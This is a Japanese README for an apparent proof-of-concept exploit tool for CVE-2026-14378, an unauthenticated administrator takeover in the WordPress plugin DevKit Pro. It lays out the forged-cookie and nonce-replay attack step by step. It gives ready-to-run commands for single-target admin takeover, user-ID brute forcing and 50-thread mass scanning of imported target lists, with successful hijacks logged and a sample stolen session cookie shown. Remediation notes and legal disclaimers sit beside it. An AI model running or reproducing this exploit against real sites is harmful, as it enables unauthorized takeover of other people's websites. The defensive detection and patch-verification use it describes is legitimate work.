CVE-2026-14378 — DevKit Pro 認証バイパス PoC

CVE-2026-14378 の概念実証スキャナーおよびエクスプロイト支援ツール: WordPress プラグイン DevKit Pro (dplugins) における、欠陥のあるユーザー切り替え「revert」フローを悪用した未認証の管理者セッション乗っ取り。

法的注意: 所有しているシステム、またはテストに対する明示的な書面による許可を得ているシステムでのみ使用してください。不正アクセスは違法です。このリポジトリは防御的研究、検証、およびパッチ検証を目的としています。

GitHub リポジトリの説明 (コピー&ペースト用)

PoC for CVE-2026-14378: DevKit Pro ≤2.3.0 pre-auth admin takeover via forged original_user_id cookie + wp_footer revert_switch nonce. check/admin + mass scan.

推奨トピック: cve-2026-14378, wordpress, wordpress-exploit, devkit-pro, dplugins, authentication-bypass, poc, security-research

脆弱性の概要


CVE	CVE-2026-14378
製品	DevKit Pro (ベンダー: dplugins)
種類	認証バイパス → 完全な管理者セッション (CWE-287)
影響を受けるバージョン	すべてのバージョン ≤ 2.3.0
修正済み	3.0.0+ (変更履歴)
CVSS 3.1	9.8 Critical — `AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H`
CNA	Wordfence

根本原因 (技術的詳細)

DevKit Pro の Users Manager はテストのためにユーザーを偽装できます。管理者が別のアカウントに切り替えると、プラグインは以前の ID をクライアント Cookie に保存します:

original_user_id — 切り替え前のアカウントのユーザー ID

この Cookie が存在する場合、プラグインはフロントエンドの wp_footer に**「switch back」**コントロールをレンダリングし、revert アクションにバインドされた WordPress nonce を含めます。

revert_switch ハンドラー (AJAX) は verify_nonce_and_capability() を呼び出しますが、これは実際のリクエスト元 (完全に未認証である可能性がある) に対して current_user_can() を使用するのではなく、original_user_id が参照するユーザーに対して誤って manage_options を評価します。

攻撃者は以下を実行できます:

Cookie: original_user_id=<administrator_user_id> (通常は 1) を設定します。
任意の公開ページをリクエストし、フッターから revert フォーム / nonce を解析します。
action=revert_switch (またはプラグイン固有のエイリアス) と漏洩した nonce を付けて wp-admin/admin-ajax.php に POST します。
偽造されたユーザー ID に対して wp_set_auth_cookie() をトリガーします → 認証済み管理者セッション。

公式機能のコンテキスト: Users Manager — switch back。

攻撃フロー

sequenceDiagram
    participant A as Attacker
    participant W as WordPress (front end)
    participant P as DevKit Pro
    participant X as admin-ajax.php

    A->>W: GET / (Cookie: original_user_id=1)
    W->>P: wp_footer hook
    P-->>W: switch-back HTML + nonce
    W-->>A: page body contains nonce
    A->>X: POST action=revert_switch + nonce
    Note over P,X: capability checked for user 1, not attacker
    X-->>A: Set-Cookie wordpress_logged_in_*
    A->>W: GET /wp-admin/
    W-->>A: admin dashboard

チェックが成功する場合と失敗する場合

check コマンドは意図的に厳格です: original_user_id を偽造した後に switch-back nonce が出現した場合にのみ脆弱と報告します。

観察結果	考えられる意味
`VULNERABLE — switch-back material leaked`	エクスプロイト経路が機能する可能性が高い。`admin` の前にラボで確認してください。
`not vulnerable (check): no switch-back nonce…`	パッチ済み DevKit (≥ 3.0.0)、プラグイン未インストール、Users Manager が無効 (デフォルトでオフ)、カスタムプラグインパス、キャッシュ/CDN がフッターを除去、または誤ったサイト。
`DevKit Pro readme not confirmed`	公開された `readme.txt` のフィンガープリントがない。プラグインが存在するが隠されている可能性がある — オラクルが依然として決定的なテストです。
`DevKit Pro <= 2.3.0 suspected` + それでも nonce なし	脆弱なバージョンがインストールされている可能性があるが、switch 機能が有効になっていないか、テストした URL でフッターがレンダリングされていない。

注: /wp-content/plugins/.../readme.txt への HTTP 200 が完全な HTML ページを返すのは、よくある WordPress のソフト 404 です。この PoC はステータスコードだけでなく、readme の内容 (Plugin Name: ヘッダー) を検証します。

要件

Python 3.9+
requests

pip install requests

オプション: requirements.txt には固定された最小バージョンが含まれています:

requests>=2.28.0

インストール

git clone https://github.com/YOUR_USER/cve-2026-14378-poc.git
cd cve-2026-14378-poc
pip install -r requirements.txt   # or: pip install requests

使用方法

単一ターゲット — 検出のみ (安全)

乗っ取りは完了しません。フッター nonce オラクルのみをテストします。

python poc.py check https://target.example/
python poc.py check https://target.example/ --user-id 2
python poc.py check https://target.example/ --timeout 40

単一ターゲット — セッション乗っ取り

完全な revert_switch を試行し、/wp-admin/ へのアクセスを検証します。

python poc.py admin https://target.example/
python poc.py admin https://target.example/ --user-id 1 --brute 5
python poc.py admin https://target.example/ --log successes.txt

フラグ	説明
`--user-id`	`original_user_id` に偽造する管理者 (またはターゲット) ユーザー ID (デフォルト: `1`)
`--brute`	最初の ID が失敗した場合に ID `1..N` を試行
`--timeout`	HTTP タイムアウト (秒) (デフォルト: `25`)
`--log`	成功した `admin` URL をファイルに追記 (デフォルト: `logs.txt`)

一括スキャン (リストファイル)

1 行に 1 つの URL。# コメントおよび空白以降の追加カラムは無視されます。

# Detection only (recommended first pass)
python poc.py targets.txt

# Exploit attempts (authorized targets only)
python poc.py targets.txt admin

最初の引数としてファイルが渡されない場合、スクリプトはリストのパスを要求します (従来の一括スキャナーと同じ動作)。

一括モードはスレッドプール (50 ワーカー) を使用します。レート制限に達する場合は poc.py で調整してください。

リストファイルの例

# FOFA / manual imports
https://staging.example.com
example.org
192.0.2.10|wordpress|1.2.3   # only first token is used

出力例

脆弱 (check):

[*] https://vulnerable.example
[+] DevKit Pro <= 2.3.0 suspected (stable tag 2.3.0)
[+] VULNERABLE — switch-back material leaked (action=revert_switch, nonce=a1b2c3d4…)

脆弱でない (典型的な一括スキャン):

[*] https://patched.example
[!] DevKit Pro readme not confirmed (hidden path, WAF, or plugin absent)
[-] not vulnerable (check): no switch-back nonce in wp_footer with forged original_user_id cookie — patched DevKit, Users Manager off, or wrong target

管理者権限の取得成功:

[*] https://lab.local
[+] https://lab.local -> administrator session as user_id=1
[+] cookie: wordpress_logged_in_…=…

実装上の注意

HTTP: ペネトレーションテスト形式のスキャンのため TLS 検証を無効化 (verify=False)。リダイレクトを追跡。エラー時にオプションの HTTP↔HTTPS フォールバック。
試行される AJAX アクション: revert_switch, DPDEV_revert_switch, dpdev_revert_switch, devkit_revert_switch (商用プラグイン。正確なフック名はビルドによって異なる場合があります)。
オラクルページ: 偽造 Cookie を使用した /, /?p=1, /sample-page/, /index.php。
成功シグナル: wordpress_logged_in_* Cookie および/または /wp-admin/ ダッシュボードのマーカー。

DevKit Pro は wordpress.org では配布されていません。バージョンのフィンガープリントは、存在する場合に公開された readme.txt に依存します。

修復

DevKit Pro を 3.0.0 以降にアップグレードします。
アップグレードが遅れる場合は、パッチが適用されるまで Users Manager / ユーザー切り替えを無効化します (露出を減らします。ベンダーのガイダンスで確認してください)。
偽造 Cookie を使用した不審な admin-ajax.php の revert_switch アクティビティについて、管理者セッションと監査ログを確認します。

参考文献

NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-14378
Wordfence: https://www.wordfence.com/threat-intel/vulnerabilities/id/2ab3986a-69e0-442f-8e79-35b1bc5376d9
DevKit changelog: https://docs.dplugins.com/devkit/changelog
Users Manager docs: https://docs.dplugins.com/devkit/users-manager

免責事項

著者および貢献者は、誤用に対して一切の責任を負いません。このソフトウェアを使用することにより、適用される法律を遵守し、適切な許可を取得することに同意したものとみなされます。防御側は、DevKit Pro 3.0.0+ にアップグレードした後にパッチを検証するために check モードを使用することを推奨します。

ライセンス

MIT — 含まれている場合は LICENSE を参照してください。含まれていない場合は、リポジトリ公開時にライセンスを指定してください。

CVE	問題	認証
CVE-2026-14357	`DPDEV_install_themes` を介した任意のテーマ ZIP インストール	Subscriber+
CVE-2026-14378	ユーザー切り替え revert を介したセッション乗っ取り	不要

CVE-2026-19660

人気